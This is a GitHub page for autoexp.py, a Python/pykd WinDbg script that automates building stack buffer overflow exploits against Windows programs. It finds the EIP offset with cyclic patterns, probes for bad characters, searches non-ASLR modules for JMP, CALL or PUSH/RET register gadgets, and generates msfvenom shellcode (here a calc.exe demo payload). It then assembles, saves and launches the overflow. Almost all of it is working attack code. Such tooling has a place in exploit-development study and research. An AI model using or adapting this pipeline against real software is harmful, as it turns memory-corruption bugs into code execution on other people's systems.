-
Notifications
You must be signed in to change notification settings - Fork 54
/
Copy pathautoexp.py
671 lines (606 loc) · 21 KB
/
autoexp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
import pykd
from pykd import *
import argparse
import importlib
import socket, sys, struct, subprocess, os
from threading import Thread
from functools import wraps
from time import sleep
from string import uppercase, lowercase, digits
METASPLOITPATH = 'c:\\metasploit-framework\\bin\\msfvenom.bat'
MEM_ACCESS_EXE = {
0x10 : "PAGE_EXECUTE" ,
0x20 : "PAGE_EXECUTE_READ" ,
0x40 : "PAGE_EXECUTE_READWRITE" ,
0x80 : "PAGE_EXECUTE_WRITECOPY" ,
}
PAGE_SIZE = 0x1000
MAX_PATTERN_LENGTH = 67600
REGISTERS = ['eax','ebx','ecx','edx','esp','ebp','edi','esi']
ASM = {
"PUSH EAX" : "\x50",
"PUSH ECX" : "\x51",
"PUSH EDX" : "\x52",
"PUSH EBX" : "\x53",
"PUSH ESP" : "\x54",
"PUSH EBP" : "\x55",
"PUSH ESI" : "\x56",
"PUSH EDI" : "\x57",
"POP EAX" : "\x58",
"POP ECX" : "\x59",
"POP EDX" : "\x5A",
"POP EBX" : "\x5B",
"POP ESP" : "\x5C",
"POP EBP" : "\x5D",
"POP ESI" : "\x5E",
"POP EDI" : "\x5F",
"JMP EAX" : "\xFF\xE0",
"JMP ECX" : "\xFF\xE1",
"JMP EDX" : "\xFF\xE2",
"JMP EBX" : "\xFF\xE3",
"JMP ESP" : "\xFF\xE4",
"JMP EBP" : "\xFF\xE5",
"JMP ESI" : "\xFF\xE6",
"JMP EDI" : "\xFF\xE7",
"CALL EAX" : "\xFF\xD0",
"CALL ECX" : "\xFF\xD1",
"CALL EDX" : "\xFF\xD2",
"CALL EBX" : "\xFF\xD3",
"CALL ESP" : "\xFF\xD4",
"CALL EBP" : "\xFF\xD5",
"CALL ESI" : "\xFF\xD6",
"CALL EDI" : "\xFF\xD7",
"JMP [EAX]" : "\xFF\x20",
"JMP [ECX]" : "\xFF\x21",
"JMP [EDX]" : "\xFF\x22",
"JMP [EBX]" : "\xFF\x23",
"JMP [ESP]" : "\xFF\x24",
"JMP [EBP]" : "\xFF\x25",
"JMP [ESI]" : "\xFF\x26",
"JMP [EDI]" : "\xFF\x27",
"CALL [EAX]" : "\xFF\x10",
"CALL [ECX]" : "\xFF\x11",
"CALL [EDX]" : "\xFF\x12",
"CALL [EBX]" : "\xFF\x13",
"CALL [ESP]" : "\xFF\x14",
"CALL [EBP]" : "\xFF\x15",
"CALL [ESI]" : "\xFF\x16",
"CALL [EDI]" : "\xFF\x17",
"XCHG EAX,ESP" : "\x94",
"XCHG ECX,ESP" : "\x87\xCC",
"XCHG EDX,ESP" : "\x87\xD4",
"XCHG EBX,ESP" : "\x87\xDC",
"XCHG EBP,ESP" : "\x87\xEC",
"XCHG EDI,ESP" : "\x87\xFC",
"XCHG ESI,ESP" : "\x87\xF4",
"XCHG ESP,EAX" : "\x94",
"XCHG ESP,ECX" : "\x87\xCC",
"XCHG ESP,EDX" : "\x87\xD4",
"XCHG ESP,EBX" : "\x87\xDC",
"XCHG ESP,EBP" : "\x87\xEC",
"XCHG ESP,EDI" : "\x87\xFC",
"XCHG ESP,ESI" : "\x87\xF4",
"PUSHAD" : "\x60",
"POPAD" : "\x61",
"RET" : "\xC3"
}
def log(msg):
"""
Log a message to console.
@param msg: Message string
@return: None
"""
print "[+] " + msg
class ExceptionHandler(pykd.eventHandler):
"""
class to handle exception and events in the debugger, overriding default class
"""
def __init__(self):
pykd.eventHandler.__init__(self)
self.accessViolationOccured = False
self.bOver=0
def is_over(self):
return self.bOver
def reset(self):
self.accessViolationOccured = False
self.bOver=0
def onException(self, exceptInfo):
"""
function to actually handle the exception, need to handle only if access violation occurs
"""
self.accessViolationOccured = exceptInfo.exceptionCode == 0xC0000005
#print exceptInfo
if self.accessViolationOccured:
#type = exceptInfo.parameters[0]
#addr = exceptInfo.parameters[1]
self.bOver=1 #break caused by accessViolation, no need to track further
log('EIP: ' + hex(reg('eip')))
return pykd.eventResult.Break
return pykd.eventResult.NoChange
#Source: https://raw.githubusercontent.com/Svenito/exploit-pattern/master/pattern.py
def pattern_gen(length):
"""
Generate a pattern of a given length up to a maximum
of X - after this the pattern would repeat
X = 20280 if special chars are not used
X = 67600 if special charaters are used
@param length: pattern length to generate
"""
if length >= MAX_PATTERN_LENGTH:
log('ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH)
sys.exit(-1)
pattern = ''
#extended character set
special = '!@#$%^&*()'
for upper in uppercase:
for lower in lowercase:
for digit in digits:
for item in special:
if len(pattern) < length:
pattern += upper+lower+digit+item
else:
out = pattern[:length]
log(out)
return out
#Source: https://raw.githubusercontent.com/Svenito/exploit-pattern/master/pattern.py
def pattern_search(search_pattern):
"""
Search for search_pattern in pattern. Convert from hex if needed
Looking for needle in haystack
@param search_pattern: pattern to serach for
"""
needle = search_pattern
try:
if needle.startswith('0x'):
# Strip off '0x', convert to ASCII and reverse
needle = needle[2:].decode('hex')
needle = needle[::-1]
except TypeError as e:
log('Unable to convert hex input:', e)
sys.exit(-1)
haystack = ''
special = '!@#$%^&*()'
for upper in uppercase:
for lower in lowercase:
for digit in digits:
for item in special:
haystack += upper+lower+digit+item
found_at = haystack.find(needle)
if found_at > -1:
log('Pattern %s first occurrence at position %d in pattern.' %
(search_pattern, found_at))
return found_at
log('Couldn`t find %s (%s) anywhere in the pattern.' %
(search_pattern, needle))
#https://github.com/corelan/windbglib/blob/master/windbglib.py
def get_seh_chain():
sehchain = []
# get top of chain
teb = get_teb_address()
nextrecord = ptrDWord(teb)
validrecord = True
while nextrecord != 0xffffffff and isValid(nextrecord):
nseh = ptrDWord(nextrecord)
seh = ptrDWord(nextrecord+4)
sehrecord = [nextrecord,seh]
sehchain.append(sehrecord)
nextrecord = nseh
return sehchain
#https://github.com/corelan/windbglib/blob/master/windbglib.py
def get_teb_info():
return typedVar("_TEB",getImplicitThread())
#https://github.com/corelan/windbglib/blob/master/windbglib.py
def get_teb_address():
tebinfo = dbgCommand("!teb")
if len(tebinfo) > 0:
teblines = tebinfo.split("\n")
tebline = teblines[0]
tebparts = tebline.split(" ")
if len(tebparts) > 2:
return hexStrToInt(tebparts[2])
# slow
teb = get_teb_info()
return int(teb.Self)
def get_all_chars():
"""
Generate a list of all characters
@return: list of characters 0x00 - 0xFF
"""
return [chr(i) for i in xrange(256)]
def check_bad_chars_inaddr(bad_chars,address):
s = struct.pack('<l',address)
for b in bad_chars:
if b in s:
return True
return False
def string_to_hexescaped(s):
"""
Takes a string and will convert each char to a printed hex escaped string, and join them together
@param s: input string
@retrun printable hex escaped string
"""
return ''.join('\\x%02x' % ord(c) for c in s)
def search_memory(register,character,max,direction):
"""
Seraches for the start/end of buffer on the memory. Looks towards bottom/top as if it was on the stack
@param charcter: charcter to look for at the end; max: max depth to check; direction: to look upwards or downwards(1 = down; -1 = up)
@return offset
"""
if not direction in [-1,1]:
log('Incorrect direction, exiting...')
sys.exit(-1)
search = True
i = 0
while search:
if chr(ptrByte(reg(register) + i * direction)) == character:
i = i + 1
elif i == max:
search = False
log('End of buffer not found')
return -1
else:
if direction == -1:
log('Start of buffer: ' + hex(reg('esp') + i * direction + 1))
log('Number of bytes between pointer and start of the buffer: ' + str(i - 1))
search = False
return i - 1
elif direction == 1:
log('End of buffer: ' + hex(reg('esp') + i * direction - 1))
log('Number of bytes between pointer and end of the buffer: ' + str(i))
search = False
return i
def get_byte_str_registry(registry,offset = 0):
"""
Get 1 byte converted to str pointed to by a registry
@param registry: registry name; offset: offset from registry, by default 0
@return character read from a location
"""
return chr(ptrByte(reg(registry) + offset))
def get_module_by_name(modname):
"""
Return a module object.
@param modname: string module name
@return: pykd module object
"""
return module(modname)
def get_loaded_modules():
"""
Return a list of module names.
@return: module name list
"""
#return dbgCommand("lm1m").split('\n')
modules = []
proc = targetProcess.getCurrent()
return [proc.getModule(i).name() for i in range(proc.getNumberModules())]
#modules.append(proc.getModule(i).name())
#return modules
def is_page_exec(address):
"""
Return True if a mem page is marked as executable
@param address: address in hex format 0x41414141.
@return: Bool
"""
try:
protect = getVaProtect(address)
except:
protect = 0x1
if protect in MEM_ACCESS_EXE.keys():
return True
else:
return False
def find_exec_pages(mod):
"""
Find Executable Memory Pages for a module.
@param mod: module object returned by getModule
@return: a python list of executable memory pages
"""
pages = []
pn = (mod.end() - mod.begin()) / PAGE_SIZE
log("Total Memory Pages: %d" % pn)
for i in xrange(0, pn):
page = mod.begin() + i*PAGE_SIZE
if is_page_exec(page):
pages.append(page)
log("Executable Memory Pages: %d" % len(pages))
return pages
def aslr_enabled(mod):
"""
Check if a module is ALSR enabled
@param mod: module object to inspect
"""
mzbase = mod.begin()
peoffset = loadDWords(mzbase+0x3c, 1)[0]
pebase = mzbase+peoffset
flags = loadWords(pebase+0x5e, 1)[0]
if (flags&0x0040)==0:
return False
else:
return True
def find_asm(pages,asmlist):
"""
Find all given assembly instructions for the given memory pages.
@param pages: list of memory pages; asm: assembly command to search for
@return: list of memory addresses
"""
asm_address = []
#log(str(asmlist))
try:
asm = ''.join([ASM[a] for a in asmlist])
l = len(asm) #byte length of the assembly instruction from the predefined list
except Exception, e:
log(str(e))
log('Not supported assembly instructions')
return asm_address
for page in pages:
ptr = page
while (ptr < (page + PAGE_SIZE - l + 1)) and (ptr != 0): #need to subtract 'l' in order to not slip out the page
ptr = searchMemory(ptr, PAGE_SIZE-(ptr-page), asm)
if ptr != 0:
asm_address.append(ptr)
ptr += 1
else:
break
log("Found %d asm instructions" % len(asm_address))
return asm_address
def initialize_debugger(start_command):
"""
Start process in debugger and load symbols
@param start_command: process to start in debugger
"""
startProcess(start_command)
dbgCommand('.symfix')
dbgCommand('.reload')
def start_and_exploit(exploit):
"""
Function to start the application and run the exploit.
@param exploit: instance of the exploit class
"""
if exploit.is_filebased():
exploit.exploit()
initialize_debugger(exploit.get_command())
expHandler = ExceptionHandler()
try:
while not expHandler.is_over():
go()
except Exception, err:
log(str(err))
else:
initialize_debugger(exploit.get_command())
expHandler = ExceptionHandler()
exploit.exploit()
try:
while not expHandler.is_over():
go()
except Exception, err:
log(str(err))
def get_eip_offset(exploit,details):
"""
Get the EIP offset
@params exploit: the object for the exploit;details: dictionary to be populated with the gathered info; command: process to start
@return updated dictionary with the details
"""
buf_size = exploit.get_buffer_length()
exploit.set_buffer([pattern_gen(buf_size)])
start_and_exploit(exploit)
details['eip_offset'] = pattern_search(hex(reg('eip')))
killAllProcesses()
log('EIP offset is: ' + str(details['eip_offset']))
#Verify if EIP address was determined properly
exploit.set_buffer(['A' * details['eip_offset'],'BBBB','C' * (buf_size - 4 - details['eip_offset'])])
start_and_exploit(exploit)
if hex(reg('eip')) == '0x42424242':
log('EIP offset is determined properly')
killAllProcesses()
else:
log('Couldn\'t determine EIP offset reliably, exiting...')
killAllProcesses()
sys.exit(-1)
def get_usable_registers(exploit,details):
"""
Get the usable registers (which point to our buffer) and their related offset and buffer space available
@params exploit: the object for the exploit;details: dictionary to be populated with the gathered info; command: process to start
@return updated dictionary with the details
"""
buf_size = exploit.get_buffer_length()
exploit.set_buffer(['A' * details['eip_offset'],'BBBB','C' * (buf_size - 4 - details['eip_offset'])])
start_and_exploit(exploit)
details['points_to_first_buffer'] = []
details['points_to_second_buffer'] = []
for r in REGISTERS:
try:
log('Register ' + r + ' ' + hex(ptrPtr(reg(r))))
if hex(int(ptrPtr(reg(r)))) == '0x41414141':
details['points_to_first_buffer'].append(r)
details[r + '_offset'] = search_memory(r,chr(0x41),buf_size,-1)
details[r + '_bufferspace'] = search_memory(r,chr(0x41),buf_size,1)
log(r + ' points to AAAA buffer, offset: ' + str(details[r + '_offset']) + ', space available: ' + str(details[r + '_bufferspace']))
elif hex(int(ptrPtr(reg(r)))) == '0x43434343':
details['points_to_second_buffer'].append(r)
details[r + '_offset'] = search_memory(r,chr(0x43),buf_size,-1)
details[r + '_bufferspace'] = search_memory(r,chr(0x43),buf_size,1)
log(r + ' points to CCCC buffer, offset: ' + str(details[r + '_offset']) + ', space available: ' + str(details[r + '_bufferspace']))
except MemoryException, err:
log('MemoryException for register: ' + r)
killAllProcesses()
def get_bad_chars(exploit,details):
"""
Determine bad characters
@params exploit: the object for the exploit;details: dictionary to be populated with the gathered info; command: process to start
@return updated dictionary with the details
"""
bad_chars = []
good_chars = get_all_chars()
trials = 0 #track how many characters were checked
#Find buffer sufficient for 256 characters:
r = ''
for reg in details['points_to_second_buffer']:
if details[reg + '_bufferspace'] < 256:
log('There is not enough space to find bad chars with register: ' + reg)
pass
else:
r = reg
break
if r == '':
for reg in details['points_to_first_buffer']:
if details[reg + '_bufferspace'] < 256:
log('There is not enough space to find bad chars with register: ' + reg)
pass
else:
r = reg
break
if r == '':
log('There is not enough space to find bad chars, exiting...')
sys.exit(-1)
while trials < 255:
log('Testing for bad chars...')
if r in details['points_to_second_buffer']:
exploit.set_buffer(['A' * details['eip_offset'],'BBBB','C' * details[r + '_offset'],''.join(good_chars),'C' * (details[r + '_bufferspace'] - len(good_chars) - details[r + '_offset'])])
else:
#TO BE WRITTEN
log('Finding bad chars with pointers to frist buffer not yet supported, exiting...')
sys.exit(-1)
#exploit.set_buffer(['A' * details['eip_offset'],'BBBB','C' * details[r + '_offset'],''.join(good_chars),'C' * (details[r + '_bufferspace'] - len(good_chars) - details[r + '_offset'])])
start_and_exploit(exploit)
bad_found = False
index = 0
while not bad_found and (index<len(good_chars)-1):
"""
logic: if the character and the following one matches with the ones in the good_chars list (based on the index), go to the next one
if not, then record it as bad (the first from the two, as it might mess the second) and start over
"""
if (get_byte_str_registry(r,index) == good_chars[index] and get_byte_str_registry(r,index+1) == good_chars[index+1]):
index = index + 1
trials = trials + 1
else:
bad_chars.append(good_chars[index])
log('Bad char found: ' + good_chars[index] + ':' + string_to_hexescaped(good_chars[index]))
good_chars.pop(index)
trials = trials + 1
bad_found = True
killAllProcesses()
details['bad_chars'] = bad_chars
details['good_chars'] = good_chars
log("Bad characters: " + ','.join(bad_chars) + ':' + string_to_hexescaped(bad_chars))
def get_asm_location_list(details,asmlist,exploit,check_aslr = False):
"""
Determine memory location for given assembly instruction in all loaded modules, can ask to check only non-ASLR modules
@params exploit: the object for the exploit;details: dictionary to be populated with the gathered info; command: process to start
@return updated dictionary with the details
"""
initialize_debugger(exploit.get_command())
modulenames = get_loaded_modules()
asm_address = []
for m in modulenames:
if check_aslr and aslr_enabled(get_module_by_name(m)):
pass
else:
log('Checking module: ' + m)
mpages = find_exec_pages(get_module_by_name(m))
for a in find_asm(mpages,asmlist):
asm_address.append(a)
print [hex(a) for a in asm_address]
details['asm_address'] = asm_address
killAllProcesses()
def generate_shellcode(details):
"""
Generate shellcode with calling metasploit, considering bad characters
@params details: dictionary with the gathered details
@return shellcode
"""
log('Generating shellcode...')
subprocess.call([METASPLOITPATH, "-p", "windows/exec", "CMD=calc.exe", "-b", '\'' + string_to_hexescaped(details['bad_chars']) + '\'', '-f', 'raw', '-o', 'out.raw'])
f = open('out.raw','rb')
shellcode = f.read()
f.close()
os.remove('out.raw')
return shellcode
def build_bof(exploit,details):
"""
Build final BOF exploit with all gathered details - currently assumes pointer at second part of the buffer
@params exploit: the object for the exploit;details: dictionary containing the gathered info
@returns True/False depending if the BOF could be built or not
"""
#check if bad char is in a memory address
shellcode = "\x90" * 16 + generate_shellcode(details)
log('Shellcode: ' + string_to_hexescaped(shellcode))
for register in REGISTERS:
try:
if len(shellcode) > details[register + '_bufferspace']:
log('No place for shellcode using register: ' + register + ', trying next')
else:
if details['jmp_to_sc_method'] == 'jmp_reg' or details['jmp_to_sc_method'] == 'call_reg':
exploit.set_buffer(['A' * details['eip_offset'], struct.pack('<l',details['jmp_to_sc_address']), details[register + '_offset'] * '\x90',shellcode, '\x90' * (details[register + '_bufferspace']-len(shellcode))])
return True
except Exception, e:
log(str(e))
return False #if couldn't build bof
def find_jmp_to_shellcode(details, exploit ,check_aslr = False):
"""
This function tries to find memory addresses to jump to the shellcode via various methods
@params details: dictionary containing the gathered info; exploit: the object for the exploit; check_aslr: only search non ASLR enabled modules
@returns True if found, otherwise the script will exit
"""
for register in details['points_to_second_buffer'] + details['points_to_first_buffer']:
register = register.upper()
#First try to find ASM instructoin to directly jump to a register
get_asm_location_list(details,['JMP ' + register], exploit, check_aslr)
if len(details['asm_address']) != 0:
for address in details['asm_address']:
if not check_bad_chars_inaddr(details['bad_chars'],address):
log('JMP ' + register.upper() + ' at ' + hex(address) + ' will be used')
details['jmp_to_sc_method'] = 'jmp_reg'
details['jmp_to_sc_address'] = address
return True
log('Couldn\'t find memory location with the given assembly (JMP [reg]), checking CALL [reg]')
#Next option is to try CALL [reg]
get_asm_location_list(details,['CALL ' + register], exploit, check_aslr)
if len(details['asm_address']) != 0:
for address in details['asm_address']:
if not check_bad_chars_inaddr(details['bad_chars'],address):
log('CALL ' + register.upper() + ' at ' + hex(address) + ' will be used')
details['jmp_to_sc_method'] = 'call_reg'
details['jmp_to_sc_address'] = address
return True
log('Couldn\'t find memory location with the given assembly (CALL [reg]), checking PUSH [reg];RET')
#Next option is to try PUSH [reg];RET
get_asm_location_list(details,['PUSH ' + register,'RET'], exploit, check_aslr)
if len(details['asm_address']) != 0:
for address in details['asm_address']:
if not check_bad_chars_inaddr(details['bad_chars'],address):
log('PUSH ' + register.upper() + ';RET at ' + hex(address) + ' will be used')
details['jmp_to_sc_method'] = 'push_reg_ret'
details['jmp_to_sc_address'] = address
return True
log('Couldn\'t find any memory location to jmp to the shellcode with regsiter: ' + register)
log('Couldn\'t find any memory location tojmp to the shellcode, exiting...')
sys.exit(-1)
if __name__ == "__main__":
#Parse arguments
parser = argparse.ArgumentParser(description='Automated exploit generation')
# Add arguments
parser.add_argument('-e', '--exploit', type=str, help='exploit class file', required=True)
parser.add_argument('-a', '--aslr', action='store_true', help='Try to use modules w/o ASLR enabled', required=False, default=False)
parser.add_argument('-t', '--type', type=str, help='Exploit type (bof,...)', required=False, default='bof')
args = parser.parse_args()
#Dynamicaly load Exploit class from the supplied file
try:
m = importlib.import_module(args.exploit[0:-3])
Exploit = getattr(m, 'Exploit')
except Exception,e:
print str(e)
log('Error occured, exiting...')
sys.exit(-1)
exploit = Exploit()
details = {}
get_eip_offset(exploit,details)
get_usable_registers(exploit,details)
if len(details['points_to_second_buffer'] + details['points_to_first_buffer']) == 0:
log('No proper register found to continue, exiting...')
sys.exit(-1)
get_bad_chars(exploit,details)
find_jmp_to_shellcode(details,exploit,args.aslr)
if build_bof(exploit,details):
exploit.save()
start_and_exploit(exploit)
else:
log('Couldn\'t build BOF')